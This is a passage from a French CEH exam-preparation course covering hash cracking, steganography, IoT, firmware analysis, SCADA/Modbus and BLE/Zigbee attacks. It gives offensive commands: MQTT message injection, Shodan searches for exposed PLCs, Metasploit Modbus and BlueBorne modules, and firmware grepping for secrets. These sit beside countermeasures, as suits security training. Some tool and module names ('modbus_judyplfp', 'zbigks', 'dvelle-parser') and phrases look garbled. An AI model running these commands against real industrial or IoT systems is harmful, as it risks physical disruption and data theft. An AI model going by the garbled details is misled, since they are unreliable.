Attaques masks (brute force ciblé) : Les masks hashcat testent des patterns précis : ?l=minuscules, ?u=majuscules, ?d=chiffres, ?s=symboles. Example : -a 3 ?u?l?l?l?d?d?d teste un mot de passe type "Pass123". Les rule attacks -r exécutent des mutations de mots du dictionnaire (rajout de chiffres/symboles).

# Steghide — cacher un fichier dans une image
steghide embed -cf image.jpg -ef secret.txt -p passphrase

# Steghide — extraire le fichier caché
steghide extract -sf image.jpg -p passphrase

# Snow — cacher une donnée dans des espaces (texte)
snow -C -p passphrase -m "Message secret" texte.txt secret_text.txt

# Snow — extraire
snow -C -p passphrase secret_text.txt

# Zsteg — analyse des bits les moins significatifs (PNG/BMP)
zsteg -a image.png

# stegsolve — visualisation des plans de bits (GUI)
stegsolve

# Hashcat — mask attack brute force
hashcat -m 0 hash.txt -a 3 ?u?l?l?l?d?d?d

# Hashcat — hybrid (wordlist + mask)
hashcat -m 0 hash.txt -a 6 wordlist.txt ?d?d?d?d

# Hashcat — rule attack (mutations)
hashcat -m 0 hash.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule

# Identifier le type de hash avant le crack
hashid '5f4dcc3b5aa765d61d8327deb882cf99'

Démonstration pas à pas : Déroulé : steghide embed -cf image.jpg -ef secret.txt -p passphrase puis extract -sf. Puis snow -C -p passphrase -m "Message" pour le texte, zsteg -a image.png et stegsolve pour l'analyse. Hashcat : -m 0 MD5, 100 SHA-1, 1000 NTLM, 3200 bcrypt, 22000 WPA ; -a 3 ?u?l?l?l?d?d?d (mask), -a 6 wordlist ?d?d?d?d (hybride), -r best64.rule (mutations). Identifiez avec hashid.

Point clé examen CEH : Le LSB est la technique de stéganographie la plus connue pour les images. snow est l'outil pour le texte (espaces/tabs). zsteg et steghide sont les outils d'analyse/cachage les plus testés. Les formats de hash : hashcat mode 0 pour MD5, 100 pour SHA-1, 3200 pour bcrypt, 22000 pour WPA/WPA2. Retenez la différence : le bruteforce est numérique (!) mais la stéganographie ne chiffre pas le contenu, elle cache le message lui-même.

Pièges classiques : Piège CEH : dire que la stégo chiffre. Elle cache l'existence, pas le contenu. Erreur : mask ?l confondu avec ?d (minuscules contre chiffres).

À vous de jouer : Que faire avant tout crack ?

Voir la réponse

Identifier avec hashid : le mode (-m) et l'attaque (-a 0, 1, 3, 6) dépendent du type exact, sinon le GPU tourne à vide.

16

Internet des Objets (IoT)

IoT hacking, firmware analysis, attaques SCADA/ICS, Raspberry Pi

▼

✓ Architecture IoT : protocoles (MQTT, CoAP, Zigbee, BLE) Moyen
✓ Énumération IoT : scan de ports, discovery, Shodan Moyen
✓ Analyse de firmware : extraction, binwalk, firmware-mod-kit Difficile
✓ Attaques SCADA/ICS : Modbus, DNP3, protocoles industriels Difficile
✓ Attacks Bluetooth Low Energy (BLE) : Sniffing, injection Difficile
✓ Attacks Zigbee : décodage, injection de trames Difficile
✓ Contre-mesures IoT : segmentation, mise à jour, hardening Moyen
✓ Lab IoT : Raspberry Pi, ESP32, Arduino — pentest lab Moyen

🔍 Architecture IoT et Protocoles de Communication

L'Internet des Objets (IoT) repose sur une architecture en couches : les devices (capteurs, actionneurs), les gateways (passerelles), le cloud (backend de traitement) et les protocoles de communication qui les relient. Chaque couche a des vulnérabilités spécifiques. La majorité des dispositifs IoT sont mal sécurisés : credentials par défaut, pas de chiffrement, ports exposés.

Pourquoi c'est important : Un broker MQTT 1883 sans auth expose tous les capteurs en subscribe # : en audit usine, c'est la donnée métier aspirée en une commande.

L'analogie qui aide : Des talkies-walkies par salon (topics MQTT), des cartes postales UDP (CoAP 5683), des guirlandes Zigbee à clé commune et des bracelets BLE GATT en clair.

Devices : Capteurs et actionneurs aux ressources limitées (MCU, 32-512KB de RAM). Ils exécutent un firmware embarqué, souvent non chiffré, avec des comptes root par défaut. Les attaques ciblent principalement les ports série (UART, JTAG), le firmware et les credentials hardcodés.
Gateways : Passerelles entre les devices et le cloud. Elles convertissent les protocoles locaux (Zigbee, BLE, Z-Wave) en IP. La compromise d'une gateway donne accès à tous les devices du réseau et souvent au réseau interne de l'entreprise.
Cloud IoT : Backends qui traitent les données des devices. Les API M2M (device-to-cloud) doivent être authentifiées. Les vulnérabilités cloud IoT : API non authentifiées, IDs de devices prévisibles, secrets exposés dans les firmwares (clé API, tokens).
MQTT (Message Queuing Telemetry Transport) : Protocole de messagerie publish/subscribe léger, port 1883 (sans TLS) ou 8883 (MTLS). Le broker centralise les topics (ex: sensors/temp/living_room). La vulnérabilité classique : broker sans authentification, permettant à quiconque de s'abonner à tous les topics et de publier des messages (injection de fausses données).
CoAP (Constrained Application Protocol) : UDP port 5683/5684 (DTLS). Protocole REST-like pour les devices contraints. Similaire à HTTP avec les méthodes GET/POST/PUT/DELETE sur les ressources .well-known/core.
Zigbee : Basé sur IEEE 802.15.4, 2.4GHz, faible consommation. Utilise un coordinator, des routers et des end devices. Le réseau est sécurisé par une clé réseau (network key) distribuée aux devices. Si la clé est extraite (firmware, decryption de captage), tous les devices du réseau sont compromis.
BLE (Bluetooth Low Energy) : 2.4GHz, profil GATT pour l'échange de données (services et caractéristiques). Les caractéristiques lisibles sans authentification exposent les données. Les attaques ciblent le pairing legacy (Just Works sans MITM protection) et l'écoute des advertisements.
6LoWPAN : IPv6 compressé sur 802.15.4 permettant aux devices de communiquer directement en IP. Expose les devices aux attaques IP classiques.

# Énumération MQTT — s'abonner à tous les topics (mosquitto_sub)
mosquitto_sub -h target-ip -p 1883 -t '#' -v

# Publier un message malveillant
mosquitto_pub -h target-ip -p 1883 -t 'devices/lamp/on' -m '1'

# Scan des ports d'un device IoT
nmap -T4 -A -p- 192.168.1.50

# Découverte UPnP (Universal Plug and Play)
upnpc -l

# Shodan — recherche de devices exposés
# Fabriqué : search "port:1883" (brokers MQTT publics)
# Exemple : shodan search --limit 10 'port:1883 country:FR'

# coap-client pour interroger une ressource CoAP
coap-client -m get coap://target-ip/.well-known/core

Démonstration pas à pas : Déroulé : mosquitto_sub -h target-ip -p 1883 -t '#' -v (flag -t '#' = tous les topics, -v = verbeux). Puis mosquitto_pub -t 'devices/lamp/on' -m '1' (injection). Puis nmap -T4 -A -p- sur le device, upnpc -l (UPnP), shodan search 'port:1883 country:FR', coap-client -m get coap://target/.well-known/core.

Point clé examen CEH : MQTT sur le port 1883 sans TLS est le vecteur IoT le plus générique lors d'un pentest. Un broker sans authentification est une compromission totale des données de l'architecture. Shodan permet de trouver les devices par port et par bannière (port 1883 pour MQTT, 502 pour Modbus, 5683 pour CoAP).

Pièges classiques : Piège CEH : croire que MQTT 1883 est chiffré. Sans TLS (8883) et sans auth, tout est clair. Erreur : Zigbee sans clé réseau jugé sûr (clé extraite = tout le réseau).

À vous de jouer : Que prouve un subscribe # réussi ?

Voir la réponse

Que le broker est ouvert sans authentification : lecture et injection totales, compromission de l'architecture à corriger par TLS et ACL.

🔍 Énumération IoT et Analyse de Firmware

L'analyse de firmware est la discipline centrale du pentest IoT. Le firmware (image embarquée) contient souvent des secrets : credentials hardcodés, clés de chiffrement, adresses internes, API keys cloud. Les étapes sont l'extraction, l'identification des fichiers, la recherche des secrets, et la ré-analyse pour exploitation.

Pourquoi c'est important : Credentials et clés API dorment en clair dans le firmware : binwalk plus strings les sort avant même un login, d'où l'audit systématique des images.

L'analogie qui aide : Démonter une poupée russe (binwalk -Me, squashfs, uImage), lire les papiers cachés dedans (strings password, token) puis rejouer la scène en maquette (QEMU, Firmadyne).

Énumération IoT : Scan de ports (nmap), découverte de services, identification du système d'exploitation embarqué. Les devices IoT répondent souvent sur des ports non standard. Shodan/fofa/Censys permettent une recherche par bannière et par géolocalisation des devices exposés. L'UART et le JTAG sont les interfaces matérielles de débogage à examiner.
Extraction du firmware : Binwalk -M firmware.bin identifie et extrait les signatures de fichiers (squashfs, uImage, ext4, gzip). Les firmwares sont généralement des images squashfs (système de fichiers Linux embarqué). L'outil dvelle-parser permet l'analyse des IDS. Firmware-mod-kit permet de dépaqueter/repiqueter les firmwares pour analyse.
Analyse des secrets : strings sur le firmware extrait pour trouver : mots de passe en clair, clés SSH, tokens API, adresses IP internes, URL d'API cloud. La recherche de patterns (password=, api_key=, token=, secret=) est systématique. Les clés privées vendor permettent parfois de chiffrer/déchiffrer le firmware, les mises à jour, ou le trafic device-cloud.
Exploitation post-analyse : Avec un mot de passe root et les adresses internes, on peut : se connecter au device (SSH/telnet), accéder au cloud IoT (API avec les tokens du firmware), pivoter vers le réseau interne. La variable d'ISBN (firmware rebuild) permet d'injecter du code malveillant dans le firmware et de le flasher sur les devices (compromise supply chain).
Emulation : QEMU émule la plateforme du device (ARM, MIPS) pour exécuter le firmware en environnement contrôlé sans matériel. Firmadyne est un framework d'émulation de firmware Linux embarqué pour l'analyse dynamique.

# Extraction du firmware avec binwalk
binwalk -Me firmware.bin
# -M : recursive, -e : extraction

# Analyser les signatures du firmware
binwalk -A firmware.bin

# Rechercher des secrets dans le firmware
strings firmware.bin | grep -i -E "password|root|admin|api_key|token|secret"

# Extraire une liste de strings
strings firmware.bin > firmware_strings.txt

# Dépaqueter avec firmware-mod-kit
./extract-firmware.sh firmware.bin

# Émuler un device ARM avec QEMU
qemu-system-arm -M versatilepb -kernel vmlinuz -initrd initrd.img -hda rootfs.img

# Firmadyne — émulation complète de firmware
./firmadyne-run.sh firmware_extracted 1

# Recherche de devices exposés sur Shodan (interface CLI)
shodan search 'country:FR "Linux" port:22'

Démonstration pas à pas : Déroulé : binwalk -Me firmware.bin (flag -M = récursif, -e = extraction) puis binwalk -A (signatures). Puis strings firmware.bin | grep -i -E "password|root|admin|api_key|token|secret". Puis ./extract-firmware.sh, qemu-system-arm pour émuler, shodan search 'country:FR "Linux" port:22' pour les exposés.

Point clé examen CEH : Binwalk est l'outil de référence pour l'extraction de firmware (signatures squashfs, uImage). La combinaison binwalk -Me + strings -grep est la méthode standard pour trouver les secrets. Les clés privées vendor hord in le firmware sont souvent à la base de la compromise des mises à jour légitimes (supply chain).

Pièges classiques : Piège CEH : confondre extraction et émulation. Binwalk extrait, QEMU ou Firmadyne exécute. Erreur : clés vendor jugées inoffensives (elles signent les updates, supply chain).

À vous de jouer : Quelle commande sort les secrets ?

Voir la réponse

strings filtré sur password, api_key et token après binwalk -Me : c'est la méthode standard CEH avant émulation.

🔍 Attaques SCADA/ICS et Protocoles Industriels

Les systèmes SCADA (Supervisory Control and Data Acquisition) et ICS (Industrial Control Systems) contrôlent les infrastructures critiques (électricité, eau, pétrole, production). Les protocoles industriels sont conçus pour la fiabilité et la vitesse, PAS pour la sécurité : ils sont fragiles par design, sans authentification ni chiffrement.

Pourquoi c'est important : Modbus 502 sans auth ni chiffrement permet lire et écrire un automate : en ICS, une mauvaise commande arrête une ligne, d'où segmentation OT/IT stricte.

L'analogie qui aide : Des ordres criés en clair dans l'atelier (Modbus maître/esclave, DNP3 énergie, Profinet Siemens) sans badge ni scellé : quiconque crie est obéi.

Modbus (port 502) : Protocole industriel le plus répandu. Fonction en mode maître/esclave sans authentification NI chiffrement. Les fonctions Modbus (function codes) : 0x01 Read Coils, 0x03 Read Holding Registers, 0x05 Write Single Coil, 0x06 Write Single Register, 0x10 Write Multiple Registers. Attaque : lecture de toutes les registres (recettes de production, états machines), écriture directe pour arrêter ou modifier un processus.
DNP3 (Distributed Network Protocol) : Utilisé dans l'énergie (électricité, gaz, eau). Fonctionne sans chiffrement, l'implémentation définit la sécurité (application layer). Malgré le support optionnel de l'authentification (Secure Authentication SAv5), la plupart des installations échangent en clair. Les attaques DNP3 permettent de lire les états et de manipuler les commandes (open/close breakers).
Profinet : Protocole industriel d'Ethernet (802.3), fashion par Siemens SIMATIC. Utilise la topologie PROFINET DCP (il y a des protocoles DCP qui permettent de modifier l'identité d'un appareil — device take-over). Des données en clair sur le réseau permettent de manipuler les I/O mapping.
Fragilité par design : La priorité des protocoles industriels est le temps réel (latence en ms). L'authentification ajoute du temps → non utilisé. Les PLC (Programmable Logic Controllers) et RTU n'ont pas de sécurité native. Le compromis est volontaire : un ACK doit être immédiat, pas authentifié.
ICS-CERT et surveillance : Le CERT industriel (CISA ICS-CERT) publie les advisories des vulnérabilités ICS (les CVE pour les protocoles, les PLC, les OS embarqués). Les ateliers de vulnérabilités industrielles : CVE-2017-7905 (Rockwell), CVE-2018-0222 (Cisco IOS XE buffer overflow), les listes de CVEs sur les PLC Schneider, Siemens.
Exploitation pratique : Outils : Metasploit avec les modules Modbus (modbus_read, modbus_write), Shodan pour la découverte (port 502), modbus_tk en Python pour les interactions custom. La commande modbus_read_example.py -ip x.x.x.x lit les registres d'un PLC.

# Scan d'un réseau industriel (découverte Modbus)
nmap -sS -p 502 --open 192.168.1.0/24

# Shodan — recherche PLC Modbus exposés
shodan search 'port:502' --fields ip_str,port,org

# Metasploit — lecture des registres Modbus
msfconsole
msf6 > use auxiliary/scanner/scada/modbusdetect
msf6 auxiliary(scanner/scada/modbusdetect) > set RHOSTS 192.168.1.10
msf6 > use auxiliary/scanner/scada/modbus_find_bits
msf6 > use auxiliary/scanner/scada/modbus_judyplfp

# Python modbus_tk — lecture des registres
python3 -c "
import modbus_tk.defines as cst
import modbus_tk.modbus_tcp as mt
m = mt.ModbusTcpClient('192.168.1.10')
val = m.execute(1, cst.READ_HOLDING_REGISTERS, 0, 20)
print(val)
"

# Recherche de la documentation ICS en clair
grep -ri "modbus\|dnp3\|profinet" /usr/share/nmap/scripts/ | head -20
# Scripts Nmap SCADA :
# nmap --script modbus-discover -p 502 192.168.1.10
# nmap --script s7-info -p 102 192.168.1.10   (Siemens S7)

Démonstration pas à pas : Déroulé : nmap -sS -p 502 --open 192.168.1.0/24 (découverte), shodan search 'port:502' (exposés), msf avec use auxiliary/scanner/scada/modbusdetect puis modbus_find_bits, nmap --script modbus-discover -p 502 et --script s7-info -p 102 (Siemens S7). Python modbus_tk pour READ_HOLDING_REGISTERS.

Point clé examen CEH : Les protocoles SCADA/ICS (Modbus, DNP3, Profinet) sont fragiles par design : pas d'authentification, pas de chiffrement. Modbus porte sur le 502/TCP. Le principe de l'attaque ICS est l'envoi de commandes à des PLC (machines) pour altérer le processus physique — ces attaques peuvent avoir des conséquences physiques. Le CISA recommande la segmentation OT/IT et la surveillance des flux industriels.

Pièges classiques : Piège CEH : croire que l'ICS chiffre par défaut. Fragile par design pour le temps réel, sans auth. Erreur : scanner OT comme IT (risque d'arrêt, toujours autorisé et planifié).

À vous de jouer : Pourquoi ne pas scanner l'OT à l'aveugle ?

Voir la réponse

Parce qu'une sonde peut bloquer un PLC temps réel et stopper le process physique : cadrage, fenêtre et segmentation obligatoires.

🔍 BLE Attacks, Zigbee et Contre-Mesures IoT

Les protocoles sans fil courts à portée de main (BLE, Zigbee) ont des attaques spécifiques : sniffing, injection, spoofing. BlueBorne est une vulnérabilité critique touchant tous les appareils Bluetooth. Les contre-mesures IoT reposent sur la segmentation, les mises à jour et l'isolation des environnements OT/IT.

Pourquoi c'est important : BlueBorne donne un RCE sans clic via Bluetooth, une clé Zigbee volée ouvre tout le réseau : le SOC isole VLAN IoT et coupe OT/IT après cette démo.

L'analogie qui aide : Des bracelets qui crient leur nom (BLE advertisements, GATT Just Works sans protection), des guirlandes à clé unique (Zigbee network key) et un commando silencieux (BlueBorne CVE-2017).

BLE Attacks : Sniffing (Ubertooth One capture les trames BLE avec Wireshark via le plugin bta), injection (envoyer des commandes GATT malveillantes), spoofing (imiter un device légitime pour recevoir des données). Le pairing legacy BLE (Just Works) ne protège pas contre le MITM car il n'y a pas d'authentification mutuelle. L'énumération GATT : les services et caractéristiques exposés (porte de la serrure, battement cardiaque).
BlueBorne : Suite de vulnérabilités (CVE-2017-0781, -0782, -0785...) affectant Android, iOS, Windows, Linux. L'exploitation se fait via le protocole Bluetooth classique (port 1), sans interaction : buffer overflow dans le stack Bluetooth menant à un RCE complet. Attaque automatisée avec l'outil BlueBorne (exploit comme un RCE).
Zigbee Attacks : Décodage des trames 802.15.4 (dédassez avec Wireshark via le plugin ZigBee, ou KillerBee), capture/injection de trames (zbward for fuzzing). Nécessite un dongle 802.15.4 (Zigbee Sniffer). La clé réseau Zigbee extraite permet de déchiffrer tout le réseau. La version Zigbee Pro utilise AES-128 pour le chiffrement des trames.
Contre-mesures IoT : Segmentation réseau (VLAN dédiés aux dispositifs IoT), mise à jour régulière des firmwares (noyau), changement des credentials par défaut, hardening (fermer les ports inutiles, désactiver les debug ports), gestion des certificats des gateways, monitoring des protocoles IoT, isolation des réseaux OT/IT : la séparation physique ou virtuelle des réseaux industriels et des réseaux informatiques.
Lab IoT : Raspberry Pi (Linux complet, attaquable comme une machine classique), ESP32 (WiFi + BLE, accès flash via esptool), Arduino (série, pas de réseau par défaut), Flipper Zero (multi-protocoles, capture d'accès clés). Ces plateformes sont les cibles d'entraînement à l'examen.

# Ubertooth — capture de trames BLE
ubertooth-btle -f -c ch37

# Analyse des trames BLE dans Wireshark
# Interface : ubertooth-btle
# Filtre d'affichage : btle

# BLE — énumération GATT (gattool)
gatttool -b AA:BB:CC:DD:EE:FF -I
[AA:BB:CC:DD:EE:FF][LE]> primary
[AA:BB:CC:DD:EE:FF][LE]> characteristics
[AA:BB:CC:DD:EE:FF][LE]> char-read-hnd 0x000a

# Zigbee — capture de trames 802.15.4 (Wireshark)
# Interface : zbstumbler -i zigbee-dongle
zbstumbler -a -v -m IEEE802_15_4A

# KillerBee — injection dans le réseau Zigbee
zbigks -d zigbee-gateway
zbwids

# Metasploit — BlueBorne exploit
msf6 > use exploit/android/bluetooth/blueborne_conn_secure

# ESP32 — dump du flash avec esptool
esptool.py --port /dev/ttyUSB0 read_flash 0x000000 0x400000 flash.bin

Démonstration pas à pas : Déroulé : ubertooth-btle -f -c ch37 puis filtre btle sous Wireshark. Énumérez avec gatttool -b MAC -I puis primary, characteristics, char-read-hnd. Zigbee : zbstumbler puis KillerBee (zbigks, zbwids). BlueBorne : use exploit/android/bluetooth/blueborne_conn_secure. ESP32 : esptool.py read_flash pour le dump.

Point clé examen CEH : BlueBorne exploite le stack Bluetooth classique sans interaction utilisateur (CVE-2017). Dans le Zigbee, la clé réseau / network key extraite d'un device compromis donne accès à tout le réseau. L'isolation des réseaux OT (scada) des réseaux IT est LA contre-mesure principale pour les environnements industriels. Le Flipper Zero est le multi-tool portatif pour le rf/BLE/sub-GHz.

Pièges classiques : Piège CEH : dire que Just Works protège du MITM. Sans auth mutuelle, il l'autorise. Erreur : VLAN IoT confondu avec isolation OT/IT (il faut les deux).

À vous de jouer : Quelle isolation est non négociable en usine ?

Voir la réponse

OT séparé d'IT (physique ou virtuel strict) plus VLAN IoT, firmwares à jour et defaults changés : sinon un BLE compromet la prod.

Attaques Avancées

Hacking de Serveurs Web

🔍 Architecture des Serveurs Web Modernes

🔍 Misconfigurations et HTTP Methods Dangereuses

🔍 Path Traversal, LFI, RFI et SSRF

🔍 RCE via Upload et Énumération

Hacking d'Applications Web

🔍 OWASP Top 10 — Analyse Complète des Vecteurs

🔍 Cross-Site Scripting (XSS) — Types et Exploitation

🔍 CSRF, XXE et Command Injection

🔍 Upload Malveillant, Sessions et Burp Suite

Injection SQL

🔍 Principe de l'Injection SQL et Types de BDD

🔍 SQL Injection In-Band : UNION-Based et Error-Based

🔍 Blind SQL Injection : Boolean, Time-Based et Out-of-Band

🔍 Injection SQL Avancée : UPDATE, INSERT, DELETE, ORDER BY

🔍 Contre-Mesures et SQLmap Complet

Hacking Réseau Sans Fil

🔍 Protocoles WiFi et Modèles de Sécurité

🔍 Cracking WEP, WPA et Attaques WPS

🔍 Rogue AP, Evil Twin et WiFi Pineapple

🔍 Contre-Mesures WiFi et Commandes Aircrack-ng

Hacking Cloud

🔍 Modèle de Responsabilité Partagée et Architecture Cloud

🔍 AWS Misconfigurations et SSRF vers les Métadonnées

🔍 Azure AD Attacks et GCP Exploitation

🔍 Docker Escape, Kubernetes et Contre-Mesures Cloud

Cryptographie

🔍 Principes Fondamentaux et Chiffrement Symétrique

🔍 Chiffrement Asymétrique et Fonctions de Hachage

🔍 Attaques Cryptographiques et PKI

🔍 Stéganographie et Cracking d'Hash

Internet des Objets (IoT)

🔍 Architecture IoT et Protocoles de Communication

🔍 Énumération IoT et Analyse de Firmware

🔍 Attaques SCADA/ICS et Protocoles Industriels

🔍 BLE Attacks, Zigbee et Contre-Mesures IoT